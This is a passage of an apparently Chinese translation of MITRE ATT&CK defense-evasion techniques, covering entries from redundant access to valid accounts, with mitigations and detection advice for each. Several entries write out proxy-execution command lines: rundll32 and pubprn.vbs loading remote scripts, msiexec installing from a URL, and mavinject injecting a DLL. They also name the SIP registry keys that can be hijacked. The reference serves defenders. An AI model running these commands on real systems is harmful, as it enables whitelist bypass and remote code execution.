由于特殊性，监控 Linux 系统下的调用，如 ptrace 系统调用、环境变量 LD_PRELOAD 的使用，或 dlfcn 动态链接 API 调用，应该不会生成大量数据。这种监控可以很有效地检测某些常见进程注入。

监控命名管道创建和连接事件（事件 17 和 18），获取外部模块感染进程的指示信息。

监控进程和命令行参数来检测代码注入前后可能执行的操作，并将检测到的信息与相关事件信息关联起来。攻击者也可能使用 PowerSploit 等工具通过 PowerShell 来执行代码注入。因此可能还需要监控 PowerShell 来检测这种注入行为。

# 5.50 冗余访问

编号： T1108

技术： 防御逃逸，持久化

平台： Linux, macOS, Windows

所需权限： 用户，管理员，系统

数据源：进程监控，进程使用网络，网络抓包，网络协议分析，文件监控，认证日志，二进制文件元数据

| |
|---|
| 绕过的防御：网络入侵检测系统，杀毒<br>版本： 1.0 |

攻击者可以使用多个具有不同命令与控制协议的远程访问工具作为检测的对冲。如果检测到一种类型的工具作为响应，则进行拦截或删除，但组织没有完全了解攻击者的工具和访问权限，则攻击者将能够保留对网络的访问权限。尽管目标网络中部署的远程访问工具受到中断，攻击者还可能尝试访问有效帐户，以使用外部远程服务（如外部 VPN）作为维护访问的一种方式。

使用 Web 命令行管理程序是一种通过外部可访问的 Web 服务器，维护访问网络的方式。

缓解

| 缓解措施 | 说明 |
|---|---|
| 网络入侵防护 | 使用网络签名来标识特定攻击者恶意软件的流量的网络入侵检测和预防系统，可缓解网络级别的活动。签名通常用于协议中的唯一指标，并且在不同的恶意软件系列和版本中会有所不同。攻击者可能会随着时间的推移更改工具签名，或者以避免常见防御工具检测的方式构造协议。 |

检测

现有的远程访问工具检测方法非常有用。备份远程访问工具或其他接入点在入侵期间可能没有建立命令与控制通道，因此传输的数据量可能不如主通道高，除非访问丢失。

检测基于信标流量、命令与控制协议或对手基础结构的工具需要事先对攻击者可能使用的工具、IP 地址和/或域进行威胁情报，同时能够检测网络边界上的使用情况。如果可以使用工具扫描这些指标，则事先了解折衷指标也有助于检测端点上的对手工具。

如果入侵正在进行，并且收集了足够的端点数据或解码的命令与控制流量，则防御者可能能够检测到攻击者执行操作时丢弃的其他工具。

对于使用外部可访问的 VPN 或远程服务的替代访问，请按照"有效帐户和外部远程服务"下的检测建议来收集帐户使用信息。

# 5.51 Regsvcs/Regasm 命令

| |
|---|
| 编号：T1121<br>技术：防御逃逸，执行<br>平台：Windows<br>所需权限：用户，管理员 |

数据源：进程监控，进程命令行参数

是否支持远程：否

绕过的防御：进程白名单，数字证书验证

贡献者：Casey Smith

版本：1.1

Windows 命令行实用程序 Regsvcs 和 Regasm 用于注册.NET COM（组件对象模型）程序集。两者都是微软数字签名的。

攻击者可能会使用 Regsvcs 和 Regasm 通过受信任的 Windows 实用程序来代理执行代码。这两个实用程序都可以通过使用二进制文件中的属性，`[ComRegisterFunction]`或`[ComUnregisterFunction]`，来指定应在注册或注销之前分别运行的代码，从而绕过进程白名单。

即使进程在没有足够权限的情况下运行并且执行失败，也将执行具有注册和注销属性的代码。

缓解

| **缓解措施** | **说明** |
| --- | --- |
| 特性/程序禁用或移除 | 在给定环境中可能不需要 Regsvcs 和 Regasm。 |
| 执行预防 | 如果给定系统或网络不需要 Regsvcs.exe 和 Regasm.exe，则阻止执行它们，防止攻击者滥用它们。 |

检测

通过进程监控来检测和分析 Regsvcs.exe 和 Regasm.exe 的执行和参数。将 Regsvcs.exe 和 Regasm.exe 的最近调用与已知恰当参数及已执行二进制文件的历史记录进行比较来查看是否有异常和潜藏的攻击活动。在 Regsvcs.exe 或 Regasm.exe 调用之前和之后使用的命令参数也可用于确定正在执行的二进制文件的来源和目的。

# 5.52 Regsvr32 命令

编号：T1117

技术：防御逃逸，执行

平台：Windows

所需权限：用户，管理员

数据源：已加载动态链接库，进程监控，Windows 注册表，进程命令行参数

是否支持远程：否

| |
|---|
| 绕过的防御：进程白名单，防病毒，数字证书验证<br>贡献者：Casey Smith<br>版本：1.1 |

命令行程序 Regsvr32.exe 用于在 Windows 系统上注册和注销对象链接及嵌入控件，包括动态链接库（DLL）。Regsvr32.exe 可用于执行任意二进制文件。

攻击者可能会利用此功能代理执行代码，从而避免触发那些可能不会监控 regsvr32.exe 进程执行及其加载模块的安全工具，因为正常操作中使用 regsvr32.exe 的 Windows 会有白名单或误报。Regsvr32.exe 也是微软签名的二进制文件。

Regsvr32.exe 还可用于专门绕过进程白名单，方法是加载 COM 脚本小程序在用户权限下执行动态链接库。由于 regsvr32.exe 具有网络和代理感知功能，可以在调用期间将 URL 作为参数传递到外部 web 服务器上的文件来加载脚本。此方法不对注册表进行任何更改，因为 COM 对象实际上未注册，仅执行。这个技术变种通常称为“Squiblydoo”攻击，已被攻击者用于针对政府的活动中。

攻击者还可能会利用 Regsvr32.exe 来注册 COM 对象以便通过 COM 劫持建立持久性。

缓解

| 缓解措施 | 说明 |
|---|---|
| 漏洞利用防护 | 可使用微软 EMET（增强缓解体验工具包）的 ASR（攻击面减少）功能来阻止 regsvr32.exe 绕过白名单。在适当的情况下，使用应用白名单工具（如 Windows Defender Application Control，AppLocker 或软件限制策略）来识别并阻止通过 regsvr32 功能执行的潜在恶意软件。 |

检测

通过进程监控来检测和分析 regsvr32.exe 的执行和参数。将 regsvr32.exe 的最近调用与已知恰当参数及已加载文件的历史记录进行比较来查看是否有异常和潜藏的攻击活动。在 regsvr32.exe 调用之前和之后使用的命令参数也可用于确定正在加载的脚本或者动态链接库的来源和目的。

# 5.53 Rootkit

| |
|---|
| 编号： T1014<br>技术： 防御逃逸<br>平台： Linux, macOS, Windows<br>所需权限： 管理员，系统, root 用户<br>数据源： BIOS，MBR，系统调用 |

绕过的防御：文件监控，主机侵入防御系统，进程白名单，基于签名监测，系统访问控制，文件名或文件路径白名单，杀毒软件

版本： 1.0

Rootkit 是通过拦截（即 Hook）和修改提供系统信息的操作系统 API 调用来隐藏恶意软件存在的程序。Rootkit 或 rootkit 启用的功能可能驻留在操作系统的用户或内核甚至更低的层中，以 Hypervisor、Master Boot Record 或系统固件。

攻击者可能使用 rootkit 来隐藏程序、文件、网络连接、服务、驱动程序和其他系统组件的存在。Rootkit 已在 Windows、Linux 和 Mac OS X 系统上被观察到。

### 缓解

这种类型的攻击技术无法通过预防性控制轻松缓解，因为它基于系统功能的滥用。

### 检测

某些 rootkit 保护可能内置到杀毒软件或操作系统软件中。有专门的 rootkit 检测工具，用于查找特定类型的 rootkit 行为。监视是否存在无法识别的 DLL、设备、服务和 MBR 的更改。

## 5.54 Rundll32 命令

编号：T1085

技术：防御逃逸，执行

平台：Windows

所需权限：用户

数据源：文件监控，进程监控，进程命令行参数，二进制文件元数据

是否支持远程：否

绕过的防御：防病毒，应用白名单，数字证书验证

贡献者：Ricardo Dias；Casey Smith

版本：1.1

Rundll32.exe 程序可以调用来执行任意二进制文件。攻击者可能会利用此功能来代理执行代码，从而避免触发那些可能不会监控 rundll32.exe 进程执行的安全工具，因为正常操作中使用 rundll32.exe 的 Windows 会有白名单或误报。

Rundll32.exe 可用于通过未记录的 shell32.dll 函数 `Control_RunDLL` 和 `Control_RunDLLAsUser` 来执行控制面板项目文件（.cpl）。 双击.cpl 文件也会触发 rundll32.exe 执行。

Rundll32 也可用于执行 JavaScript 等脚本。可以使用类似于下面的语法来完成：`rundll32.exe javascript:"..\mshtml,RunHTMLApplication ";document.write();GetObject("script:https[:]//www[.]example[.]com/malicious.sct")"` 。这种方法已被恶意软件如 Poweliks 所使用。

### 缓解

| 缓解措施 | 说明 |
| --- | --- |
| 漏洞利用防护 | 可使用微软 EMET（增强缓解体验工具包）的 ASR（攻击面减少）功能来阻止 rundll32.exe 绕过白名单。 |

### 检测

通过进程监控来检测和分析 rundll32.exe 的执行和参数。将 rundll32.exe 的最近调用与已知恰当参数及已加载动态链接库的历史记录进行比较来查看是否有异常和潜藏的攻击活动。在 rundll32.exe 调用之前和之后使用的命令参数也可用于确定正在加载的动态链接库的来源和目的。

## 5.55 脚本编程

编号：T1064

技术：防御逃逸，执行

平台：Linux，macOS，Windows

所需权限：用户

数据源：进程监控，文件监控，进程命令行参数

绕过的防御：进程白名单，数据执行防护，漏洞利用防护

版本：1.0

攻击者可能会使用脚本来帮助操作并执行多个操作。不使用脚本的话，这些操作需手动执行。脚本编程对于加快操作任务和减少关键资源访问时间非常有用。有些脚本编程语言可通过在 API 级别直接与操作系统交互而不是调用其他程序来绕过进程监控机制。Windows 系统常采用 VBScript 和 PowerShell 脚本编程语言，但也可采用命令行批处理脚本的形式。

脚本可以作为宏嵌入到 Office 文档中，这些宏可以设置为在鱼叉式钓鱼攻击附件及其他类型鱼叉式钓鱼攻击文件打开时执行。恶意嵌入宏和通过客户端执行利用进行软件利用是两种攻击方式。在用后者方式实施攻击时，攻击者依赖于允许的宏或用户将接受并激活的宏。

存在许多流行的攻击框架。这些框架不管是对安全测试人员还是攻击者都使用脚本编程形式。例如：Metasploit、Veil 和 PowerSploit。渗透测试人员常常在漏洞攻击时和攻击后操作中使用这三种框架。它们包含许多可用于规避防御的功能。有些攻击者会使用 PowerShell。

缓解

| 缓解措施 | 说明 |
| --- | --- |
| 应用隔离和沙箱 | 配置 Office 安全设置来启用“受保护视图”，在沙箱环境中执行，以及通过组策略阻止宏。也可通过其他类型的虚拟化和应用微分区来缓解攻击的影响。 |
| 特性/程序禁用或移除 | 关闭未使用的功能或限制对脚本引擎（如 VBScript）或脚本化管理框架（如 PowerShell）的访问。 |

检测

脚本编程可能在管理员、开发人员或高级用户系统上很常见，具体取决于作业功能。如果对普通用户限制了脚本编写，那么任何在系统上运行脚本的尝试都将被视为可疑。如果脚本在系统上不常用但已启用，那么由于打补丁或其他管理员功能而超出周期的脚本是可疑的。应尽可能从文件系统中捕获脚本以确定其操作和意图。

脚本可能会在可生成事件的系统上执行操作且效果各有不同，具体取决于所使用的监控类型。监控脚本执行和后续行为所涉及的进程和命令行参数。操作可能与网络和系统信息发现、收集或其他攻击后脚本化行为相关，并可用作返回源脚本的检测指标。

分析可能带恶意宏的 Office 文件附件。执行宏可能会创建可疑的进程树，具体取决于宏的设计目的。Office 进程，如 winword.exe，cmd.exe 生成实例，脚本应用程序（如 wscript.exe 或 powershell.exe）或其他可疑进程可能表示存在恶意活动。

# 5.56 签名二进制代理执行

编号: T1218

技术： 防御逃逸，执行

平台： Windows

所需权限：用户

数据源： 进程监控，进程命令行参数

支持远程：No

绕过的防御：Application whitelisting, Digital Certificate Validation

贡献者：Nishan Maharjan, @loki248; Hans Christoffer Gaardløs; Praetorian

版本： 2.0

可信数字证书签署的二进制文件在 Windows 操作系统执行时，可通过数字签名验证保护。在 Windows 安装过程中，有一些微软签名的二进制文件可用来代理其它文件执行。这个行为可能会被攻击者滥用，通过绕过应用白名单机制和系统签名验证来执行恶意文件。这项技术对那些当前技术列表中未被说明的代理执行方法负责。

### Msiexec.exe

Msiexec.exe 是 Windows Installer 的命令行工具。攻击者可能使用 msiexec.exe 来启动恶意 MSI 文件来执行代码。功能可能使用这种方式来启用本地或者网络可访问的 MSI 文件。Msiexec.exe 也可用来执行 DLLs

- `msiexec.exe /q /i "C:\path\to\file.msi"`
- `msiexec.exe /q /i http[:]//site[.]com/file.msi`
- `msiexec.exe /y "C:\path\to\file.dll"`

### Mavinject.exe

Mavinject.exe 是可运行代码执行的 windows 工具，mavinject 可用来给正在运行的进程输入 DLL 文件

- `"C:\Program Files\Common Files\microsoft shared\ClickToRun\MavInject32.exe" <PID> /INJECTRUNNING <PATH DLL>`
- `C:\Windows\system32\mavinject.exe <PID> /INJECTRUNNING <PATH DLL>`

### SyncAppvPublishingServer.exe

SyncAppvPublishingServer.exe 可用来执行 PowerShell 脚本，而无需执行 powershell.exe

### Odbcconf.exe

Odbcconf.exe 可允许用来配置开放数据库连接（ODBC）驱动和数据源名称的 Windows 工具。类似于执行带有 REGSVR 选项的 Regsvr32 执行 DLL，这项工具也可滥用与执行功能

- `odbcconf.exe /S /A {REGSVR "C:\Users\Public\file.dll"}`

还有其它工具也可执行类似行为

### 缓解

| 缓解措施 | 说明 |
| --- | --- |
| 执行预防 | 一些签名的二进制软件可用于执行其它在特定环境中并不需要的程序。如果这些二进制文件对于特定系统或者网络并不需要，可使用配置应用白名单机制来阻止这些二进制文件执行，从而阻止攻击者的可能滥用行为 |
| 特权账号管理 | 如果用户需要这些二进制文件，可通过特权账号或者组来限制执行，从而减少恶意使用的可能性。 |

### 检测

监控进程和签名的二进制文件的命令行参数，这些可能会用来代理恶意文件执行。利用合法程序执行可疑行为，如：通过 msiexec.exe 从因特网下钻 MSI 文件，可能是一种入侵指标。考虑到可能的用户和管理员的正常行为使用，可通过关联其它可疑活动来减少误报

# 5.57 签名脚本代理执行

编号：T1216

技术：防御逃逸，执行

平台：Windows

所需权限：用户

数据源：进程监控，进程命令行参数

是否支持远程：否

绕过的防御：进程白名单，数字证书验证

贡献者：Praetorian

版本：1.0

使用可信证书签名的脚本可用于代理执行恶意文件。此行为可能会绕过签名验证限制和不考虑使用这些脚本的应用白名单解决方案。

PubPrn.vbs 由微软签名，可用于从远程站点代理执行。命令举例：`cscript C[:]\Windows\System32\Printing_Admin_Scripts\en-US\pubprn[.]vbs 127.0.0.1 script:http[:]//192.168.1.100/hi.png`

还有其他一些签名脚本可以类似的方式使用。

缓解

| 缓解措施 | 说明 |
| --- | --- |
| 执行预防 | 在给定的环境中，可能不需要某些用于执行其他程序的签名脚本。如果给定的系统或网络不需要这些脚本，则使用应用白名单（用于阻止脚本执行）来防止攻击者滥用它们。 |

检测

监控脚本进程（如 cscript）和脚本（如 pubprn.vbs）命令行参数，这些脚本可能用于代理执行恶意文件。

# 5.58 SIP 和信任提供商劫持

编号： T1198

技术： 防御逃逸，持久化

平台： Windows

| |
|---|
| 所需权限： 管理员，系统 |
| 数据源： API 监控，应用日志，动态链接库监控，加载的动态链接库，进程监控，Windows 注册表，Windows 事件日志 |
| 绕过的防御： 应用白名单、Autoruns 分析、数字证书验证、进程白名单，用户模式签名验证 |
| 贡献者: Matt Graeber, @mattifestation, SpecterOps |
| 版本： 1.0 |

在用户模式下，Windows 身份验证器数字签名用于验证文件的来源和完整性，这些变量可用于在签名代码中建立信任（例如：具有有效 Microsoft 签名的驱动程序可以作为安全处理）。签名验证过程通过 WinVerifyTrust 应用程序编程接口 （API） 函数进行处理，该函数接受查询，并与负责验证的相应信任提供程序进行协调签名的参数。

由于可执行文件类型和相应的签名格式各不相同，Microsoft 创建了名为主题接口包（SIP）的软件组件，以在 API 函数和文件之间提供抽象层。SP 负责使 API 函数能够创建、检索、计算和验证签名。对于大多数文件格式（可执行、PowerShell、安装程序等）存在唯一的 SIP，目录签名提供了全部功能，并由全局唯一标识符 （GUID） 标识。

与代码签名类似，攻击者可能会滥用此体系结构来破坏信任控制，并绕过仅允许合法签名的代码在系统上执行的安全策略。攻击者可能会劫持 SIP 和信任提供程序组件，误导操作系统和白名单工具，将恶意（或任何）代码根据以下标准分类为：

- 在`HKLM\SOFTWARE[\WOW6432Node]Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllGetSignedDataMsg{{SIP_GUID}}`下修改`Dll`和`FuncName`注册表值，指向动态链接提供 SIP 的 CryptSIPDllGet 数据数据 Msg 函数的库 （DLL），该函数从签名文件中检索编码的数字证书。通过指向具有导出函数的恶意制作的 DLL，该函数始终返回已知良好的签名值 (例如：用于可移植可执行文件的 Microsoft 签名)，而不是文件的实际签名，攻击者可以使用该 SIP 的文件应用可接受的签名值（尽管可能会发生哈希不匹配，但签名无效，因为函数返回的哈希值与从文件中计算的值不匹配)。
- 在 `HKLM\SOFTWARE[WOW6432Node]Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllVerifyIndirectData{{SIP_GUID}}`修改`Dll`和`FuncName`注册表值，指向 DLL 提供 SIP 的 CryptSIPDll 验证间接数据函数，该函数根据签名哈希值验证文件的计算哈希值。通过指向具有始终返回 TRUE 的导出函数的恶意制作的 DLL（指示验证成功)，攻击者可以使用该 SIP 成功验证任何文件（具有合法签名)。(无论是否劫持前面提到的 CryptSIPDllGet 数据 Msg 函数)。此注册表值还可以从已存在的 DLL 重定向到适当的导出函数，从而避免在磁盘上删除和执行新文件的要求。
- 在 `HKLM\SOFTWARE[WOW6432Node]Microsoft\Cryptography\Providers\Trust\FinalPolicy{{trust provider GUID}}`修改 `DLL` 和 `Function` 注册表值，指向提供信任的 DLL 提供程序的 FinalPolicy 函数，即检查解码和解析的签名，并做出大多数信任决策的位置。与劫持 SIP 的 CryptSIPDll 验证间接数据函数类似，此值可以从已经存在的 DLL 或恶意制作的 DLL 重定向到适当的导出函数（尽管信任提供程序的实现很复杂)。

- 注意：上述劫持也可通过 DLL 搜索顺序劫持修改注册表。

劫持 SIP 或信任提供程序组件还可以启用持久代码执行，因为执行代码签名或签名验证的任何应用程序都可以调用这些恶意组件。

## 缓解

| 缓解措施 | 说明 |
| --- | --- |
| 执行预防 | 启用白名单解决方案，如 AppLocker 和/或设备防护，以阻止恶意 SIP DLL 的加载。 |
| 限制文件和目录权限 | 将 SIP DLL 的存储和执行限制为受保护的目录，如 C：\Windows，而不是用户目录。 |
| 限制注册表权限 | 确保为注册表配置单元设置了适当的权限，以防止用户修改与 SIP 和信任提供程序组件相关的密钥。如果不阻止对注册表项的恶意修改，组件仍可能被劫持到磁盘上已有的适当功能。 |

## 检测

定期对注册的 SIP 和信任提供程序（注册表项和磁盘上的文件）进行基线，特别是查找新的、修改的或非 Microsoft 条目。

启用 CryptoAPI v2 （CAPI） 事件日志记录，以监控和分析与失败的信任验证相关的错误事件（事件 ID 81，尽管此事件可能由被劫持的信任提供程序组件破坏），以及任何其他提供的信息事件（例如：成功验证）。代码完整性事件日志记录还可能提供恶意 SIP 或信任提供程序加载的有价值的指示器，因为尝试加载恶意制作的信任验证组件的受保护进程可能会失败（事件 ID 3033）。

利用 Sysmon 检测规则，和/或启用高级安全审核策略中的注册表（全局对象访问审核设置），以应用全局系统访问控制列表 （SACL），和对与 SIPs 相关的注册表值 (sub) 修改的事件审核，以及信任提供程序相关的密钥：

- HKLM\SOFTWARE\Microsoft\Cryptography\OID
- HKLM\SOFTWARE\WOW6432Node\Microsoft\Cryptography\OID
- HKLM\SOFTWARE\Microsoft\Cryptography\Providers\Trust
- HKLM\SOFTWARE\WOW6432Node\Microsoft\Cryptography\Providers\Trust

**注意：**作为此技术的一部分，攻击者可能会尝试手动编辑这些注册表项（例如：Regedit）或使用 Regsvr32 的合法注册过程。

分析自动运行数据是否具有奇数和异常，特别是通过隐藏在自动启动位置来尝试持久执行的恶意文件。默认情况下，自动运行将隐藏由 Microsoft 或 Windows 签名的条目，因此请确保取消选中"隐藏微软条目"和"隐藏 Windows 条目"。

# 5.59 软件加壳

编号：T1045

技术：防御逃逸

平台：Windows

数据源：二进制文件元数据

绕过的防御：基于签名的检测、防病毒、试探法检测

CAPEC 编号：CAPEC-570

版本：1.0

软件加壳是一种压缩或加密可执行文件的方法。攻击者可能会通过对可执行文件来加壳更改文件签名，试图规避基于签名的检测。大多数解压缩技术都是解压缩内存中的可执行代码。

用来给软件加壳的实用程序称为加壳程序，比如 MPRESS 和 UPX。有一个很全面的已知加壳程序列表，但攻击者可能会建立并使用自己的加壳技术来躲避防御，不会像其它知名加壳程序那样留下过程产物。

## 缓解

| 缓解措施 | 说明 |
| --- | --- |
| 防病毒/防恶意软件 | 采用启发式恶意软件检测。确保已经更新病毒定义并为观察到的恶意软件创建自定义签名。 |

## 检测

使用文件扫描来查找已知的软件加壳程序或加壳技术的相关物。加壳动作不是恶意活动的明确指示，因为合法软件也可能会使用加壳技术来减小二进制文件大小或保护专有代码。

# 5.60 文件名后加空格

编号: T1151

技术： 防御逃逸，执行

平台： Linux, macOS

所需权限： 用户

数据源： 文件监控，进程监控

贡献者：Erye Hernandez, Palo Alto Networks

版本： 1.0

攻击者通过改变文件后缀来隐藏程序真实的文件类型。某些文件类型（尤其是不适用.app 结尾），在文件名尾部增加空格会改变操作系统如何处理。例如，假设有个名为 evil.bin 的 Mach-O 可执行文件，当用户双击时，会启动 Terminal.app 来执行。如果这个文件被重命名成 evil.txt，这时当用户双击时，变会启动默认的文本编辑程序（不是运行二进制文件）。但如果文件命名成”evil.txt ”（注意尾部空格），此时用户双击程序，OS 会检测真实的文件类型，合理地处置，然后执行二进制文件。

攻击者使用这个特性来诱骗用户双击看似没有任何格式问题的文件，最终执行了某些恶意行为

### 缓解

因为基于滥用系统特性，这类攻击技术很难通过预防控制措施进行缓解。

### 检测

文件末尾通常不包含空格，因此很容易通过文件监控检查出来。但从用户的角度来看，在 Finder.app 或者 Terminal.app 命令行里很难观察出来。包含非标准后缀的二进制文件启动的进程通常是可疑的。

## 5.61 模板注入

| |
|---|
| 编号： T1221 |
| 技术：防御逃逸 |
| 平台： Windows |
| 所需权限： 用户 |
| 数据源： 杀毒软件，邮件网关，网络入侵检测系统，Web 日志 |
| 绕过的防御: 静态文件分析 |
| 贡献者: Patrick Campbell, @pjcampbe11 |
| 版本： 1.1 |

Microsoft 的 Open Office XML（OOXML）规范为 Office 文档（.docx、xlsx、.pptx）定义了基于 XML 的格式，以替换较旧的二进制格式 （.doc、.xls、.ppt）。OOXML 文件被打包在一起的 ZIP 存档中，这些存档受到各种 XML 文件（称为部件）的影响，其中包含共同定义文档呈现方式的属性。[1]

部件内的属性可能引用通过联机 URL 访问的共享公共资源。例如，模板属性引用文件，作为预格式化的文档蓝图，在加载文档时获取该文件。

攻击者可能会滥用此技术，在一开始隐藏要通过文档（即脚本）执行的恶意代码。注入到文档中的模板引用可能允许在加载文档时提取和执行恶意负载。这些文件可以通过其他技术

（如 Spearphishing 附件和/或污点共享内容）传递，并且可能会避开静态检测，因为在获取恶意有效负载之前，不存在典型的指标（VBA 宏、脚本等）。在外面已看到一些示例，其中模板注入用于加载包含漏洞的恶意代码。

此技术还可以通过注入 SMB/HTTPS（或其他凭据提示）URL 并触发身份验证尝试来启用强制身份验证。

缓解

| 缓解措施 | 说明 |
| --- | --- |
| 杀毒软件/反恶意软件 | 可以使用网络/主机入侵防御系统、杀毒软件和引爆室来防止文档获取和/或执行恶意负载。 |
| 停用或移除特征或编程 | 请考虑禁用 Microsoft Office 宏/活动内容，以防止在文档中执行恶意负载，尽管此设置可能无法缓解此技术的强制身份验证使用。 |
| 网络入侵防御 | 可以使用网络/主机入侵防御系统、杀毒软件和引爆室来防止文档获取和/或执行恶意负载。 |
| 用户培训 | 培训用户识别社交工程技术和鱼叉式网络钓鱼电子邮件。 |

检测

分析进程行为以确定 Office 应用程序是否正在执行操作，例如打开网络连接、读取文件、生成异常子进程（例如：PowerShell）或其他可能与危害后相关的可疑操作行为。

# 5.62 Timestomp 工具

编号：T1099

技术：防御逃逸

平台：Linux，Windows

所需权限：用户，管理员，系统

数据源：文件监控，进程监控，进程命令行参数

绕过的防御：主机取证分析

版本：1.0

Timestomping 技术用于修改文件时间戳（修改，访问，创建和更改次数），通常是模拟同一文件夹中的文件。比如，攻击者在自己修改或创建的文件上使用 Timestomping 技术后，这些文件对于取证调查人员或文件分析工具而言不会很明显。Timestomping 技术可能会与文件名伪装技术一起使用来隐藏恶意软件和工具。

### 缓解

这种类型的攻击技术基于系统功能的滥用，无法通过预防性控制来轻松缓解其造成的影响。

### 检测

存在取证技术来检测已修改时间戳文件的各个方面。可以通过文件修改监控来检测 timestomping 行为。文件修改监控可以收集有关文件句柄打开的信息并可以比较时间戳值。

## 5.63 可信的开发工具

编号：T1127

技术：防御逃逸，执行

平台：Windows

系统要求：MSBuild：.NET Framework 4 或更高版本；DNX：.NET 4.5.2，PowerShell 4.0；RCSI：.NET 4.5 或更高版本，Visual Studio 2012

所需权限：用户

数据源：进程监控

是否支持远程：否

绕过的防御：应用白名单

贡献者：Casey Smith；Matthew Demaske，Adaptforward

版本：1.0

许多软件开发相关的实用程序可用于执行各种形式的代码以协助开发、调试和逆向工程。这些实用程序通常可以使用合法证书进行签名。签名后，它们就可以在系统上执行，并通过可信的进程代理执行恶意代码，从而有效地绕过应用白名单防御解决方案。

### MSBuild

MSBuild.exe（Microsoft Build Engine）是 Visual Studio 使用的软件构建平台。它采用 XML 格式的项目文件，定义了各种平台的构建要求和配置。

攻击者可能会使用 MSBuild 通过受信任的 Windows 实用程序来代理执行代码。.NET 4 中引入的 MSBuild 内联任务功能允许将 C＃代码插入到 XML 项目文件中。内联任务 MSBuild 将编译并执行内联任务。MSBuild.exe 是一个签名的微软二进制文件，因此当它以这种方式使用时，它可以执行任意代码并绕过配置为允许 MSBuild.exe 执行的应用白名单防御。

### DNX

.NET 执行环境（DNX）dnx.exe 是随 Visual Studio Enterprise 打包的软件开发工具包。它在 2016 年退役，转而支持.NET Core CLI。标准版本的 Windows 上不存在 DNX，它可能仅存在于使用旧版本.NET Core 和 ASP.NET Core 1.0 的开发人员工作站上。dnx.exe 可执行文件由微软签名。

攻击者可能会使用 dnx.exe 来代理执行任意代码，绕过不考虑 DNX 的应用白名单策略。

### RCSI

rcsi.exe 实用程序是 C＃的非交互式命令行界面，类似于 csi.exe。它出现在早期某版本的 Roslyn .NET 编译器平台，但自那以后就因集成解决方案而被弃用。rcsi.exe 二进制文件由微软签名。

可以在命令行使用 rcsi.exe 编写和执行 C# .csx 脚本文件。攻击者可能会使用 rcsi.exe 来代理执行任意代码，绕过不考虑执行 rcsi.exe 的应用白名单策略。

### WinDbg/CDB

WinDbg 是微软 Windows 内核和用户模式调试实用程序。微软控制台调试程序（CDB）cdb.exe 也是用户模式调试程序。 这两个实用程序都包含在 Windows 软件开发工具包中，可以作为独立工具使用。它们通常用于软件开发和逆向工程，在典型的 Windows 系统上可能找不到。WinDbg.exe 和 cdb.exe 二进制文件都由微软签名。

攻击者可能会使用 WinDbg.exe 和 cdb.exe 来代理执行任意代码，绕过不考虑执行这些实用程序的应用白名单策略。

很可能出于类似的目的使用其他调试程序，例如内核模式调试器 kd.exe，它也由微软签名。

### Tracker

文件跟踪器实用程序 tracker.exe 作为 MSBuild 的一部分包含在.NET 框架中。它用于记录 Windows 文件系统的调用日志。

攻击者可以使用 tracker.exe 来代理执行任意动态链接库到另一个进程中。由于 tracker.exe 也已签名，因此可用于绕过应用白名单解决方案。

### 缓解

| **缓解措施** | **说明** |
| --- | --- |
| 特性/程序禁用或移除 | 在给定环境中可能不需要 MSBuild.exe，dnx.exe，rcsi.exe，WinDbg.exe，cdb.exe 和 tracker.exe。如果不需要，应将其删除。 |
| 执行预防 | 如果给定系统或网络不需要 MSBuild.exe，dnx.exe，rcsi.exe，WinDbg.exe 和 cdb.exe，则使用应用白名单（用于阻止这些程序的执行）来防止攻击者滥用它们。 |

### 检测

在非用于开发、调试和逆向工程的系统上出现通常用于开发、调试和逆向工程的且已开通代理执行功能的实用程序可能是可疑的。

通过进程监控来检测和分析 MSBuild.exe，dnx.exe，rcsi.exe，WinDbg.exe，cdb.exe 和 tracker.exe 的执行和参数。将这些实用程序的最近调用与已知恰当参数及已执行二进制文件的历史记录进行比较来查看是否有异常和潜藏的攻击活动。这些实用程序很可能会被软件开

发人员使用或用于其他与软件开发相关的任务。因此，如果监控到这些程序而且该程序在所提情境之外使用，那么这个事件是可疑的。在实用程序调用之前和之后使用的命令参数也可用于确定正在执行的二进制文件的来源和目的。

## 5.64 有效账号

编号：T1078

技术：防御逃逸，持久化，权限升级，初始访问

平台：Linux，macOS，Windows

所需权限：用户，管理员

有效权限：用户，管理员

数据源：认证日志，进程监控

绕过的防御：防火墙，主机入侵防御系统，网络入侵检测系统，进程白名单，系统访问控制，防病毒

CAPEC 编号：CAPEC-560

贡献者：Mark Wee，Praetorian

版本：1.1

攻击者可能会使用凭据访问技术窃取特定用户或服务账号的凭据，或者在侦察过程的早期通过社会工程捕获凭据以获得首次访问权限。

攻击者可以使用三种账号：默认账号、本地账号和域账号。默认账号是操作系统的内置账号，例如 Windows 系统上的访客或管理员账号，或者其他类型系统、软件或设备上的默认工厂/提供商账号。本地账号是组织配置给用户、远程支持或服务的账号，或单个系统/服务的管理账号。域账号是 AD-DS（活动目录域服务）管理的账号，其访问和权限在域内不同系统和服务之间配置。域账号可以涵盖用户、管理员和服务。

攻击者可以使用窃取的凭据绕过网络内系统上各种资源的访问控制，甚至可用于对远程系统和外部可用服务（如 VPN、Outlook Web Access 和远程桌面）的持久访问。攻击者还可能通过窃取的凭据获得特定系统的更多权限或网络受限区域的访问权限。攻击者可以选择不将恶意软件或工具与这些凭据提供的合法访问结合使用，这样就更难检测到它们的存在。

默认账号并不限于客户端机器上的访客和管理员，它们还包括为设备（如网络设备和计算机应用）预设的账号，无论这些设备是内部的、开源的还是 COTS。如果设备预设了用户名和密码组合而且安装后不更改，将会对组织构成严重威胁，因为它们很容易成为攻击者的目标。同理，攻击者也可能会利用公开披露的私钥或盗取的私钥通过远程服务合法地连接到远程环境。

我们需要关注跨系统网络的账号访问、凭据和权限的重叠，因为攻击者也许能够跨账号和系统切换以获得较高的访问级别（域或企业管理员），从而绕过企业内设置的访问控制。

缓解

| 缓解措施 | 说明 |
| --- | --- |
| 密码策略 | 应用及设备的默认用户名和密码应在安装后和部署到生产环境之前立即更改。如果可能，应该定期更新使用 SSH 密钥的应用，并对其进行适当的保护。确保本地管理员账号在网络上所有系统中有复杂且唯一的密码。 |
| 特权账号管理 | 定期审核域账号和本地账号及他们的权限级别，查看是否有允许攻击者通过获取特权账号凭据从而获得广泛访问权限的情况。这些审核还应包括是否启用了默认账号，或者是否创建了新的未经授权的本地账号。不要将用户或管理域账号放在不同系统的本地管理员组中，除非它们受到严格控制并且是分开使用的，因为这通常相当于这些系统上都有一个相同密码的本地管理员账号。遵循企业网络设计和管理最佳实践，限制跨管理层使用特权账号。限制跨系统的凭据重叠以防止攻击者获取账号凭据用来访问。 |

检测

